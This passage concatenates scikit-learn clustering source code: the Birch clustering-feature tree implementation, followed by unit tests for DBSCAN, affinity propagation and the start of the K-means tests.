        Threshold needed for a new subcluster to enter a CFSubcluster.

    branching_factor : int
        Maximum number of CF subclusters in each node.

    is_leaf : bool
        We need to know if the CFNode is a leaf or not, in order to
        retrieve the final subclusters.

    n_features : int
        The number of features.

    Attributes
    ----------
    subclusters_ : array-like
        list of subclusters for a particular CFNode.

    prev_leaf_ : _CFNode
        prev_leaf. Useful only if is_leaf is True.

    next_leaf_ : _CFNode
        next_leaf. Useful only if is_leaf is True.
        the final subclusters.

    init_centroids_ : ndarray, shape (branching_factor + 1, n_features)
        manipulate ``init_centroids_`` throughout rather than centroids_ since
        the centroids are just a view of the ``init_centroids_`` .

    init_sq_norm_ : ndarray, shape (branching_factor + 1,)
        manipulate init_sq_norm_ throughout. similar to ``init_centroids_``.

    centroids_ : ndarray
        view of ``init_centroids_``.

    squared_norm_ : ndarray
        view of ``init_sq_norm_``.

    """
    def __init__(self, threshold, branching_factor, is_leaf, n_features):
        self.threshold = threshold
        self.branching_factor = branching_factor
        self.is_leaf = is_leaf
        self.n_features = n_features

        # The list of subclusters, centroids and squared norms
        # to manipulate throughout.
        self.subclusters_ = []
        self.init_centroids_ = np.zeros((branching_factor + 1, n_features))
        self.init_sq_norm_ = np.zeros((branching_factor + 1))
        self.squared_norm_ = []
        self.prev_leaf_ = None
        self.next_leaf_ = None

    def append_subcluster(self, subcluster):
        n_samples = len(self.subclusters_)
        self.subclusters_.append(subcluster)
        self.init_centroids_[n_samples] = subcluster.centroid_
        self.init_sq_norm_[n_samples] = subcluster.sq_norm_

        # Keep centroids and squared norm as views. In this way
        # if we change init_centroids and init_sq_norm_, it is
        # sufficient,
        self.centroids_ = self.init_centroids_[:n_samples + 1, :]
        self.squared_norm_ = self.init_sq_norm_[:n_samples + 1]

    def update_split_subclusters(self, subcluster,
                                 new_subcluster1, new_subcluster2):
        """Remove a subcluster from a node and update it with the
        split subclusters.
        """
        ind = self.subclusters_.index(subcluster)
        self.subclusters_[ind] = new_subcluster1
        self.init_centroids_[ind] = new_subcluster1.centroid_
        self.init_sq_norm_[ind] = new_subcluster1.sq_norm_
        self.append_subcluster(new_subcluster2)

    def insert_cf_subcluster(self, subcluster):
        """Insert a new subcluster into the node."""
        if not self.subclusters_:
            self.append_subcluster(subcluster)
            return False

        threshold = self.threshold
        branching_factor = self.branching_factor
        # We need to find the closest subcluster among all the
        # subclusters so that we can insert our new subcluster.
        dist_matrix = np.dot(self.centroids_, subcluster.centroid_)
        dist_matrix *= -2.
        dist_matrix += self.squared_norm_
        closest_index = np.argmin(dist_matrix)
        closest_subcluster = self.subclusters_[closest_index]

        # If the subcluster has a child, we need a recursive strategy.
        if closest_subcluster.child_ is not None:
            split_child = closest_subcluster.child_.insert_cf_subcluster(
                subcluster)

            if not split_child:
                # If it is determined that the child need not be split, we
                # can just update the closest_subcluster
                closest_subcluster.update(subcluster)
                self.init_centroids_[closest_index] = \
                    self.subclusters_[closest_index].centroid_
                self.init_sq_norm_[closest_index] = \
                    self.subclusters_[closest_index].sq_norm_
                return False

            # things not too good. we need to redistribute the subclusters in
            # our child node, and add a new subcluster in the parent
            # subcluster to accommodate the new child.
            else:
                new_subcluster1, new_subcluster2 = _split_node(
                    closest_subcluster.child_, threshold, branching_factor)
                self.update_split_subclusters(
                    closest_subcluster, new_subcluster1, new_subcluster2)

                if len(self.subclusters_) > self.branching_factor:
                    return True
                return False

        # good to go!
        else:
            merged = closest_subcluster.merge_subcluster(
                subcluster, self.threshold)
            if merged:
                self.init_centroids_[closest_index] = \
                    closest_subcluster.centroid_
                self.init_sq_norm_[closest_index] = \
                    closest_subcluster.sq_norm_
                return False

            # not close to any other subclusters, and we still
            # have space, so add.
            elif len(self.subclusters_) < self.branching_factor:
                self.append_subcluster(subcluster)
                return False

            # We do not have enough space nor is it closer to an
            # other subcluster. We need to split.
            else:
                self.append_subcluster(subcluster)
                return True


class _CFSubcluster(object):
    """Each subcluster in a CFNode is called a CFSubcluster.

    A CFSubcluster can have a CFNode has its child.

    Parameters
    ----------
    linear_sum : ndarray, shape (n_features,), optional
        Sample. This is kept optional to allow initialization of empty
        subclusters.

    Attributes
    ----------
    n_samples_ : int
        Number of samples that belong to each subcluster.

    linear_sum_ : ndarray
        Linear sum of all the samples in a subcluster. Prevents holding
        all sample data in memory.

    squared_sum_ : float
        Sum of the squared l2 norms of all samples belonging to a subcluster.

    centroid_ : ndarray
        Centroid of the subcluster. Prevent recomputing of centroids when
        ``CFNode.centroids_`` is called.

    child_ : _CFNode
        Child Node of the subcluster. Once a given _CFNode is set as the child
        of the _CFNode, it is set to ``self.child_``.

    sq_norm_ : ndarray
        Squared norm of the subcluster. Used to prevent recomputing when
        pairwise minimum distances are computed.
    """
    def __init__(self, linear_sum=None):
        if linear_sum is None:
            self.n_samples_ = 0
            self.squared_sum_ = 0.0
            self.linear_sum_ = 0
        else:
            self.n_samples_ = 1
            self.centroid_ = self.linear_sum_ = linear_sum
            self.squared_sum_ = self.sq_norm_ = np.dot(
                self.linear_sum_, self.linear_sum_)
        self.child_ = None

    def update(self, subcluster):
        self.n_samples_ += subcluster.n_samples_
        self.linear_sum_ += subcluster.linear_sum_
        self.squared_sum_ += subcluster.squared_sum_
        self.centroid_ = self.linear_sum_ / self.n_samples_
        self.sq_norm_ = np.dot(self.centroid_, self.centroid_)

    def merge_subcluster(self, nominee_cluster, threshold):
        """Check if a cluster is worthy enough to be merged. If
        yes then merge.
        """
        new_ss = self.squared_sum_ + nominee_cluster.squared_sum_
        new_ls = self.linear_sum_ + nominee_cluster.linear_sum_
        new_n = self.n_samples_ + nominee_cluster.n_samples_
        new_centroid = (1 / new_n) * new_ls
        new_norm = np.dot(new_centroid, new_centroid)
        dot_product = (-2 * new_n) * new_norm
        sq_radius = (new_ss + dot_product) / new_n + new_norm
        if sq_radius <= threshold ** 2:
            (self.n_samples_, self.linear_sum_, self.squared_sum_,
             self.centroid_, self.sq_norm_) = \
                new_n, new_ls, new_ss, new_centroid, new_norm
            return True
        return False

    @property
    def radius(self):
        """Return radius of the subcluster"""
        dot_product = -2 * np.dot(self.linear_sum_, self.centroid_)
        return sqrt(
            ((self.squared_sum_ + dot_product) / self.n_samples_) +
            self.sq_norm_)


class Birch(BaseEstimator, TransformerMixin, ClusterMixin):
    """Implements the Birch clustering algorithm.

    Every new sample is inserted into the root of the Clustering Feature
    Tree. It is then clubbed together with the subcluster that has the
    centroid closest to the new sample. This is done recursively till it
    ends up at the subcluster of the leaf of the tree has the closest centroid.

    Read more in the :ref:`User Guide <birch>`.

    Parameters
    ----------
    threshold : float, default 0.5
        The radius of the subcluster obtained by merging a new sample and the
        closest subcluster should be lesser than the threshold. Otherwise a new
        subcluster is started.

    branching_factor : int, default 50
        Maximum number of CF subclusters in each node. If a new samples enters
        such that the number of subclusters exceed the branching_factor then
        the node has to be split. The corresponding parent also has to be
        split and if the number of subclusters in the parent is greater than
        the branching factor, then it has to be split recursively.

    n_clusters : int, instance of sklearn.cluster model, default 3
        Number of clusters after the final clustering step, which treats the
        subclusters from the leaves as new samples. If None, this final
        clustering step is not performed and the subclusters are returned
        as they are. If a model is provided, the model is fit treating
        the subclusters as new samples and the initial data is mapped to the
        label of the closest subcluster. If an int is provided, the model
        fit is AgglomerativeClustering with n_clusters set to the int.

    compute_labels : bool, default True
        Whether or not to compute labels for each fit.

    copy : bool, default True
        Whether or not to make a copy of the given data. If set to False,
        the initial data will be overwritten.

    Attributes
    ----------
    root_ : _CFNode
        Root of the CFTree.

    dummy_leaf_ : _CFNode
        Start pointer to all the leaves.

    subcluster_centers_ : ndarray,
        Centroids of all subclusters read directly from the leaves.

    subcluster_labels_ : ndarray,
        Labels assigned to the centroids of the subclusters after
        they are clustered globally.

    labels_ : ndarray, shape (n_samples,)
        Array of labels assigned to the input data.
        if partial_fit is used instead of fit, they are assigned to the
        last batch of data.

    Examples
    --------
    >>> from sklearn.cluster import Birch
    >>> X = [[0, 1], [0.3, 1], [-0.3, 1], [0, -1], [0.3, -1], [-0.3, -1]]
    >>> brc = Birch(branching_factor=50, n_clusters=None, threshold=0.5,
    ... compute_labels=True)
    >>> brc.fit(X)
    Birch(branching_factor=50, compute_labels=True, copy=True, n_clusters=None,
       threshold=0.5)
    >>> brc.predict(X)
    array([0, 0, 0, 1, 1, 1])

    References
    ----------
    * Tian Zhang, Raghu Ramakrishnan, Maron Livny
      BIRCH: An efficient data clustering method for large databases.
      http://www.cs.sfu.ca/CourseCentral/459/han/papers/zhang96.pdf

    * Roberto Perdisci
      JBirch - Java implementation of BIRCH clustering algorithm
      https://code.google.com/archive/p/jbirch
    """

    def __init__(self, threshold=0.5, branching_factor=50, n_clusters=3,
                 compute_labels=True, copy=True):
        self.threshold = threshold
        self.branching_factor = branching_factor
        self.n_clusters = n_clusters
        self.compute_labels = compute_labels
        self.copy = copy

    def fit(self, X, y=None):
        """
        Build a CF Tree for the input data.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Input data.
        """
        self.fit_, self.partial_fit_ = True, False
        return self._fit(X)

    def _fit(self, X):
        X = check_array(X, accept_sparse='csr', copy=self.copy)
        threshold = self.threshold
        branching_factor = self.branching_factor

        if branching_factor <= 1:
            raise ValueError("Branching_factor should be greater than one.")
        n_samples, n_features = X.shape

        # If partial_fit is called for the first time or fit is called, we
        # start a new tree.
        partial_fit = getattr(self, 'partial_fit_')
        has_root = getattr(self, 'root_', None)
        if getattr(self, 'fit_') or (partial_fit and not has_root):
            # The first root is the leaf. Manipulate this object throughout.
            self.root_ = _CFNode(threshold, branching_factor, is_leaf=True,
                                 n_features=n_features)

            # To enable getting back subclusters.
            self.dummy_leaf_ = _CFNode(threshold, branching_factor,
                                       is_leaf=True, n_features=n_features)
            self.dummy_leaf_.next_leaf_ = self.root_
            self.root_.prev_leaf_ = self.dummy_leaf_

        # Cannot vectorize. Enough to convince to use cython.
        if not sparse.issparse(X):
            iter_func = iter
        else:
            iter_func = _iterate_sparse_X

        for sample in iter_func(X):
            subcluster = _CFSubcluster(linear_sum=sample)
            split = self.root_.insert_cf_subcluster(subcluster)

            if split:
                new_subcluster1, new_subcluster2 = _split_node(
                    self.root_, threshold, branching_factor)
                del self.root_
                self.root_ = _CFNode(threshold, branching_factor,
                                     is_leaf=False,
                                     n_features=n_features)
                self.root_.append_subcluster(new_subcluster1)
                self.root_.append_subcluster(new_subcluster2)

        centroids = np.concatenate([
            leaf.centroids_ for leaf in self._get_leaves()])
        self.subcluster_centers_ = centroids

        self._global_clustering(X)
        return self

    def _get_leaves(self):
        """
        Retrieve the leaves of the CF Node.

        Returns
        -------
        leaves: array-like
            List of the leaf nodes.
        """
        leaf_ptr = self.dummy_leaf_.next_leaf_
        leaves = []
        while leaf_ptr is not None:
            leaves.append(leaf_ptr)
            leaf_ptr = leaf_ptr.next_leaf_
        return leaves

    def partial_fit(self, X=None, y=None):
        """
        Online learning. Prevents rebuilding of CFTree from scratch.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features), None
            Input data. If X is not provided, only the global clustering
            step is done.
        """
        self.partial_fit_, self.fit_ = True, False
        if X is None:
            # Perform just the final global clustering step.
            self._global_clustering()
            return self
        else:
            self._check_fit(X)
            return self._fit(X)

    def _check_fit(self, X):
        is_fitted = hasattr(self, 'subcluster_centers_')

        # Called by partial_fit, before fitting.
        has_partial_fit = hasattr(self, 'partial_fit_')

        # Should raise an error if one does not fit before predicting.
        if not (is_fitted or has_partial_fit):
            raise NotFittedError("Fit training data before predicting")

        if is_fitted and X.shape[1] != self.subcluster_centers_.shape[1]:
            raise ValueError(
                "Training data and predicted data do "
                "not have same number of features.")

    def predict(self, X):
        """
        Predict data using the ``centroids_`` of subclusters.

        Avoid computation of the row norms of X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Input data.

        Returns
        -------
        labels: ndarray, shape(n_samples)
            Labelled data.
        """
        X = check_array(X, accept_sparse='csr')
        self._check_fit(X)
        reduced_distance = safe_sparse_dot(X, self.subcluster_centers_.T)
        reduced_distance *= -2
        reduced_distance += self._subcluster_norms
        return self.subcluster_labels_[np.argmin(reduced_distance, axis=1)]

    def transform(self, X, y=None):
        """
        Transform X into subcluster centroids dimension.

        Each dimension represents the distance from the sample point to each
        cluster centroid.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Input data.

        Returns
        -------
        X_trans : {array-like, sparse matrix}, shape (n_samples, n_clusters)
            Transformed data.
        """
        check_is_fitted(self, 'subcluster_centers_')
        return euclidean_distances(X, self.subcluster_centers_)

    def _global_clustering(self, X=None):
        """
        Global clustering for the subclusters obtained after fitting
        """
        clusterer = self.n_clusters
        centroids = self.subcluster_centers_
        compute_labels = (X is not None) and self.compute_labels

        # Preprocessing for the global clustering.
        not_enough_centroids = False
        if isinstance(clusterer, int):
            clusterer = AgglomerativeClustering(
                n_clusters=self.n_clusters)
            # There is no need to perform the global clustering step.
            if len(centroids) < self.n_clusters:
                not_enough_centroids = True
        elif (clusterer is not None and not
              hasattr(clusterer, 'fit_predict')):
            raise ValueError("n_clusters should be an instance of "
                             "ClusterMixin or an int")

        # To use in predict to avoid recalculation.
        self._subcluster_norms = row_norms(
            self.subcluster_centers_, squared=True)

        if clusterer is None or not_enough_centroids:
            self.subcluster_labels_ = np.arange(len(centroids))
            if not_enough_centroids:
                warnings.warn(
                    "Number of subclusters found (%d) by Birch is less "
                    "than (%d). Decrease the threshold."
                    % (len(centroids), self.n_clusters))
        else:
            # The global clustering step that clusters the subclusters of
            # the leaves. It assumes the centroids of the subclusters as
            # samples and finds the final centroids.
            self.subcluster_labels_ = clusterer.fit_predict(
                self.subcluster_centers_)

        if compute_labels:
            self.labels_ = self.predict(X)






"""
Tests for DBSCAN clustering algorithm
"""

import pickle

import numpy as np

from scipy.spatial import distance
from scipy import sparse

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_in
from sklearn.utils.testing import assert_not_in
from sklearn.neighbors import NearestNeighbors
from sklearn.cluster.dbscan_ import DBSCAN
from sklearn.cluster.dbscan_ import dbscan
from sklearn.cluster.tests.common import generate_clustered_data
from sklearn.metrics.pairwise import pairwise_distances


n_clusters = 3
X = generate_clustered_data(n_clusters=n_clusters)


def test_dbscan_similarity():
    # Tests the DBSCAN algorithm with a similarity array.
    # Parameters chosen specifically for this task.
    eps = 0.15
    min_samples = 10
    # Compute similarities
    D = distance.squareform(distance.pdist(X))
    D /= np.max(D)
    # Compute DBSCAN
    core_samples, labels = dbscan(D, metric="precomputed", eps=eps,
                                  min_samples=min_samples)
    # number of clusters, ignoring noise if present
    n_clusters_1 = len(set(labels)) - (1 if -1 in labels else 0)

    assert_equal(n_clusters_1, n_clusters)

    db = DBSCAN(metric="precomputed", eps=eps, min_samples=min_samples)
    labels = db.fit(D).labels_

    n_clusters_2 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_2, n_clusters)


def test_dbscan_feature():
    # Tests the DBSCAN algorithm with a feature vector array.
    # Parameters chosen specifically for this task.
    # Different eps to other test, because distance is not normalised.
    eps = 0.8
    min_samples = 10
    metric = 'euclidean'
    # Compute DBSCAN
    # parameters chosen for task
    core_samples, labels = dbscan(X, metric=metric, eps=eps,
                                  min_samples=min_samples)

    # number of clusters, ignoring noise if present
    n_clusters_1 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_1, n_clusters)

    db = DBSCAN(metric=metric, eps=eps, min_samples=min_samples)
    labels = db.fit(X).labels_

    n_clusters_2 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_2, n_clusters)


def test_dbscan_sparse():
    core_sparse, labels_sparse = dbscan(sparse.lil_matrix(X), eps=.8,
                                        min_samples=10)
    core_dense, labels_dense = dbscan(X, eps=.8, min_samples=10)
    assert_array_equal(core_dense, core_sparse)
    assert_array_equal(labels_dense, labels_sparse)


def test_dbscan_sparse_precomputed():
    D = pairwise_distances(X)
    nn = NearestNeighbors(radius=.9).fit(X)
    D_sparse = nn.radius_neighbors_graph(mode='distance')
    # Ensure it is sparse not merely on diagonals:
    assert D_sparse.nnz < D.shape[0] * (D.shape[0] - 1)
    core_sparse, labels_sparse = dbscan(D_sparse,
                                        eps=.8,
                                        min_samples=10,
                                        metric='precomputed')
    core_dense, labels_dense = dbscan(D, eps=.8, min_samples=10,
                                      metric='precomputed')
    assert_array_equal(core_dense, core_sparse)
    assert_array_equal(labels_dense, labels_sparse)


def test_dbscan_no_core_samples():
    rng = np.random.RandomState(0)
    X = rng.rand(40, 10)
    X[X < .8] = 0

    for X_ in [X, sparse.csr_matrix(X)]:
        db = DBSCAN(min_samples=6).fit(X_)
        assert_array_equal(db.components_, np.empty((0, X_.shape[1])))
        assert_array_equal(db.labels_, -1)
        assert_equal(db.core_sample_indices_.shape, (0,))


def test_dbscan_callable():
    # Tests the DBSCAN algorithm with a callable metric.
    # Parameters chosen specifically for this task.
    # Different eps to other test, because distance is not normalised.
    eps = 0.8
    min_samples = 10
    # metric is the function reference, not the string key.
    metric = distance.euclidean
    # Compute DBSCAN
    # parameters chosen for task
    core_samples, labels = dbscan(X, metric=metric, eps=eps,
                                  min_samples=min_samples,
                                  algorithm='ball_tree')

    # number of clusters, ignoring noise if present
    n_clusters_1 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_1, n_clusters)

    db = DBSCAN(metric=metric, eps=eps, min_samples=min_samples,
                algorithm='ball_tree')
    labels = db.fit(X).labels_

    n_clusters_2 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_2, n_clusters)


def test_dbscan_balltree():
    # Tests the DBSCAN algorithm with balltree for neighbor calculation.
    eps = 0.8
    min_samples = 10

    D = pairwise_distances(X)
    core_samples, labels = dbscan(D, metric="precomputed", eps=eps,
                                  min_samples=min_samples)

    # number of clusters, ignoring noise if present
    n_clusters_1 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_1, n_clusters)

    db = DBSCAN(p=2.0, eps=eps, min_samples=min_samples, algorithm='ball_tree')
    labels = db.fit(X).labels_

    n_clusters_2 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_2, n_clusters)

    db = DBSCAN(p=2.0, eps=eps, min_samples=min_samples, algorithm='kd_tree')
    labels = db.fit(X).labels_

    n_clusters_3 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_3, n_clusters)

    db = DBSCAN(p=1.0, eps=eps, min_samples=min_samples, algorithm='ball_tree')
    labels = db.fit(X).labels_

    n_clusters_4 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_4, n_clusters)

    db = DBSCAN(leaf_size=20, eps=eps, min_samples=min_samples,
                algorithm='ball_tree')
    labels = db.fit(X).labels_

    n_clusters_5 = len(set(labels)) - int(-1 in labels)
    assert_equal(n_clusters_5, n_clusters)


def test_input_validation():
    # DBSCAN.fit should accept a list of lists.
    X = [[1., 2.], [3., 4.]]
    DBSCAN().fit(X)             # must not raise exception


def test_dbscan_badargs():
    # Test bad argument values: these should all raise ValueErrors
    assert_raises(ValueError,
                  dbscan,
                  X, eps=-1.0)
    assert_raises(ValueError,
                  dbscan,
                  X, algorithm='blah')
    assert_raises(ValueError,
                  dbscan,
                  X, metric='blah')
    assert_raises(ValueError,
                  dbscan,
                  X, leaf_size=-1)
    assert_raises(ValueError,
                  dbscan,
                  X, p=-1)


def test_pickle():
    obj = DBSCAN()
    s = pickle.dumps(obj)
    assert_equal(type(pickle.loads(s)), obj.__class__)


def test_boundaries():
    # ensure min_samples is inclusive of core point
    core, _ = dbscan([[0], [1]], eps=2, min_samples=2)
    assert_in(0, core)
    # ensure eps is inclusive of circumference
    core, _ = dbscan([[0], [1], [1]], eps=1, min_samples=2)
    assert_in(0, core)
    core, _ = dbscan([[0], [1], [1]], eps=.99, min_samples=2)
    assert_not_in(0, core)


def test_weighted_dbscan():
    # ensure sample_weight is validated
    assert_raises(ValueError, dbscan, [[0], [1]], sample_weight=[2])
    assert_raises(ValueError, dbscan, [[0], [1]], sample_weight=[2, 3, 4])

    # ensure sample_weight has an effect
    assert_array_equal([], dbscan([[0], [1]], sample_weight=None,
                                  min_samples=6)[0])
    assert_array_equal([], dbscan([[0], [1]], sample_weight=[5, 5],
                                  min_samples=6)[0])
    assert_array_equal([0], dbscan([[0], [1]], sample_weight=[6, 5],
                                   min_samples=6)[0])
    assert_array_equal([0, 1], dbscan([[0], [1]], sample_weight=[6, 6],
                                      min_samples=6)[0])

    # points within eps of each other:
    assert_array_equal([0, 1], dbscan([[0], [1]], eps=1.5,
                                      sample_weight=[5, 1], min_samples=6)[0])
    # and effect of non-positive and non-integer sample_weight:
    assert_array_equal([], dbscan([[0], [1]], sample_weight=[5, 0],
                                  eps=1.5, min_samples=6)[0])
    assert_array_equal([0, 1], dbscan([[0], [1]], sample_weight=[5.9, 0.1],
                                      eps=1.5, min_samples=6)[0])
    assert_array_equal([0, 1], dbscan([[0], [1]], sample_weight=[6, 0],
                                      eps=1.5, min_samples=6)[0])
    assert_array_equal([], dbscan([[0], [1]], sample_weight=[6, -1],
                                  eps=1.5, min_samples=6)[0])

    # for non-negative sample_weight, cores should be identical to repetition
    rng = np.random.RandomState(42)
    sample_weight = rng.randint(0, 5, X.shape[0])
    core1, label1 = dbscan(X, sample_weight=sample_weight)
    assert_equal(len(label1), len(X))

    X_repeated = np.repeat(X, sample_weight, axis=0)
    core_repeated, label_repeated = dbscan(X_repeated)
    core_repeated_mask = np.zeros(X_repeated.shape[0], dtype=bool)
    core_repeated_mask[core_repeated] = True
    core_mask = np.zeros(X.shape[0], dtype=bool)
    core_mask[core1] = True
    assert_array_equal(np.repeat(core_mask, sample_weight), core_repeated_mask)

    # sample_weight should work with precomputed distance matrix
    D = pairwise_distances(X)
    core3, label3 = dbscan(D, sample_weight=sample_weight,
                           metric='precomputed')
    assert_array_equal(core1, core3)
    assert_array_equal(label1, label3)

    # sample_weight should work with estimator
    est = DBSCAN().fit(X, sample_weight=sample_weight)
    core4 = est.core_sample_indices_
    label4 = est.labels_
    assert_array_equal(core1, core4)
    assert_array_equal(label1, label4)

    est = DBSCAN()
    label5 = est.fit_predict(X, sample_weight=sample_weight)
    core5 = est.core_sample_indices_
    assert_array_equal(core1, core5)
    assert_array_equal(label1, label5)
    assert_array_equal(label1, est.labels_)


def test_dbscan_core_samples_toy():
    X = [[0], [2], [3], [4], [6], [8], [10]]
    n_samples = len(X)

    for algorithm in ['brute', 'kd_tree', 'ball_tree']:
        # Degenerate case: every sample is a core sample, either with its own
        # cluster or including other close core samples.
        core_samples, labels = dbscan(X, algorithm=algorithm, eps=1,
                                      min_samples=1)
        assert_array_equal(core_samples, np.arange(n_samples))
        assert_array_equal(labels, [0, 1, 1, 1, 2, 3, 4])

        # With eps=1 and min_samples=2 only the 3 samples from the denser area
        # are core samples. All other points are isolated and considered noise.
        core_samples, labels = dbscan(X, algorithm=algorithm, eps=1,
                                      min_samples=2)
        assert_array_equal(core_samples, [1, 2, 3])
        assert_array_equal(labels, [-1, 0, 0, 0, -1, -1, -1])

        # Only the sample in the middle of the dense area is core. Its two
        # neighbors are edge samples. Remaining samples are noise.
        core_samples, labels = dbscan(X, algorithm=algorithm, eps=1,
                                      min_samples=3)
        assert_array_equal(core_samples, [2])
        assert_array_equal(labels, [-1, 0, 0, 0, -1, -1, -1])

        # It's no longer possible to extract core samples with eps=1:
        # everything is noise.
        core_samples, labels = dbscan(X, algorithm=algorithm, eps=1,
                                      min_samples=4)
        assert_array_equal(core_samples, [])
        assert_array_equal(labels, -np.ones(n_samples))


def test_dbscan_precomputed_metric_with_degenerate_input_arrays():
    # see https://github.com/scikit-learn/scikit-learn/issues/4641 for
    # more details
    X = np.eye(10)
    labels = DBSCAN(eps=0.5, metric='precomputed').fit(X).labels_
    assert_equal(len(set(labels)), 1)

    X = np.zeros((10, 10))
    labels = DBSCAN(eps=0.5, metric='precomputed').fit(X).labels_
    assert_equal(len(set(labels)), 1)






"""
Testing for Clustering methods

"""

import numpy as np

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises

from sklearn.cluster.affinity_propagation_ import AffinityPropagation
from sklearn.cluster.affinity_propagation_ import affinity_propagation
from sklearn.datasets.samples_generator import make_blobs
from sklearn.metrics import euclidean_distances

n_clusters = 3
centers = np.array([[1, 1], [-1, -1], [1, -1]]) + 10
X, _ = make_blobs(n_samples=60, n_features=2, centers=centers,
                  cluster_std=0.4, shuffle=True, random_state=0)


def test_affinity_propagation():
    # Affinity Propagation algorithm
    # Compute similarities
    S = -euclidean_distances(X, squared=True)
    preference = np.median(S) * 10
    # Compute Affinity Propagation
    cluster_centers_indices, labels = affinity_propagation(
        S, preference=preference)

    n_clusters_ = len(cluster_centers_indices)

    assert_equal(n_clusters, n_clusters_)

    af = AffinityPropagation(preference=preference, affinity="precomputed")
    labels_precomputed = af.fit(S).labels_

    af = AffinityPropagation(preference=preference, verbose=True)
    labels = af.fit(X).labels_

    assert_array_equal(labels, labels_precomputed)

    cluster_centers_indices = af.cluster_centers_indices_

    n_clusters_ = len(cluster_centers_indices)
    assert_equal(np.unique(labels).size, n_clusters_)
    assert_equal(n_clusters, n_clusters_)

    # Test also with no copy
    _, labels_no_copy = affinity_propagation(S, preference=preference,
                                             copy=False)
    assert_array_equal(labels, labels_no_copy)

    # Test input validation
    assert_raises(ValueError, affinity_propagation, S[:, :-1])
    assert_raises(ValueError, affinity_propagation, S, damping=0)
    af = AffinityPropagation(affinity="unknown")
    assert_raises(ValueError, af.fit, X)


def test_affinity_propagation_predict():
    # Test AffinityPropagation.predict
    af = AffinityPropagation(affinity="euclidean")
    labels = af.fit_predict(X)
    labels2 = af.predict(X)
    assert_array_equal(labels, labels2)


def test_affinity_propagation_predict_error():
    # Test exception in AffinityPropagation.predict
    # Not fitted.
    af = AffinityPropagation(affinity="euclidean")
    assert_raises(ValueError, af.predict, X)

    # Predict not supported when affinity="precomputed".
    S = np.dot(X, X.T)
    af = AffinityPropagation(affinity="precomputed")
    af.fit(S)
    assert_raises(ValueError, af.predict, X)






"""Testing for K-means"""
import sys

import numpy as np
from scipy import sparse as sp

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import SkipTest
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regex
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import if_safe_multiprocessing_with_blas
from sklearn.utils.testing import assert_raise_message


from sklearn.utils.extmath import row_norms
from sklearn.metrics.cluster import v_measure_score
from sklearn.cluster import KMeans, k_means
from sklearn.cluster import MiniBatchKMeans
from sklearn.cluster.k_means_ import _labels_inertia
from sklearn.cluster.k_means_ import _mini_batch_step
from sklearn.datasets.samples_generator import make_blobs
from sklearn.externals.six.moves import cStringIO as StringIO
from sklearn.exceptions import DataConversionWarning
from sklearn.metrics.cluster import homogeneity_score


# non centered, sparse centers to check the
centers = np.array([
    [0.0, 5.0, 0.0, 0.0, 0.0],
    [1.0, 1.0, 4.0, 0.0, 0.0],
    [1.0, 0.0, 0.0, 5.0, 1.0],
])
n_samples = 100
n_clusters, n_features = centers.shape
X, true_labels = make_blobs(n_samples=n_samples, centers=centers,
                            cluster_std=1., random_state=42)
X_csr = sp.csr_matrix(X)


def test_kmeans_dtype():
    rnd = np.random.RandomState(0)
    X = rnd.normal(size=(40, 2))
    X = (X * 10).astype(np.uint8)
    km = KMeans(n_init=1).fit(X)
    pred_x = assert_warns(DataConversionWarning, km.predict, X)
    assert_array_equal(km.labels_, pred_x)


def test_elkan_results():
    rnd = np.random.RandomState(0)
    X_normal = rnd.normal(size=(50, 10))
    X_blobs, _ = make_blobs(random_state=0)
    km_full = KMeans(algorithm='full', n_clusters=5, random_state=0, n_init=1)
    km_elkan = KMeans(algorithm='elkan', n_clusters=5,
                      random_state=0, n_init=1)
    for X in [X_normal, X_blobs]:
        km_full.fit(X)
        km_elkan.fit(X)
        assert_array_almost_equal(km_elkan.cluster_centers_,
                                  km_full.cluster_centers_)
        assert_array_equal(km_elkan.labels_, km_full.labels_)


def test_labels_assignment_and_inertia():
    # pure numpy implementation as easily auditable reference gold
    # implementation
    rng = np.random.RandomState(42)
    noisy_centers = centers + rng.normal(size=centers.shape)
    labels_gold = - np.ones(n_samples, dtype=np.int)
    mindist = np.empty(n_samples)
    mindist.fill(np.infty)
    for center_id in range(n_clusters):
        dist = np.sum((X - noisy_centers[center_id]) ** 2, axis=1)
        labels_gold[dist < mindist] = center_id
        mindist = np.minimum(dist, mindist)
    inertia_gold = mindist.sum()
    assert_true((mindist >= 0.0).all())
    assert_true((labels_gold != -1).all())

    # perform label assignment using the dense array input
    x_squared_norms = (X ** 2).sum(axis=1)
    labels_array, inertia_array = _labels_inertia(
        X, x_squared_norms, noisy_centers)
    assert_array_almost_equal(inertia_array, inertia_gold)
    assert_array_equal(labels_array, labels_gold)

    # perform label assignment using the sparse CSR input
    x_squared_norms_from_csr = row_norms(X_csr, squared=True)
    labels_csr, inertia_csr = _labels_inertia(
        X_csr, x_squared_norms_from_csr, noisy_centers)
    assert_array_almost_equal(inertia_csr, inertia_gold)
    assert_array_equal(labels_csr, labels_gold)


def test_minibatch_update_consistency():
    # Check that dense and sparse minibatch update give the same results
    rng = np.random.RandomState(42)
    old_centers = centers + rng.normal(size=centers.shape)

    new_centers = old_centers.copy()
    new_centers_csr = old_centers.copy()

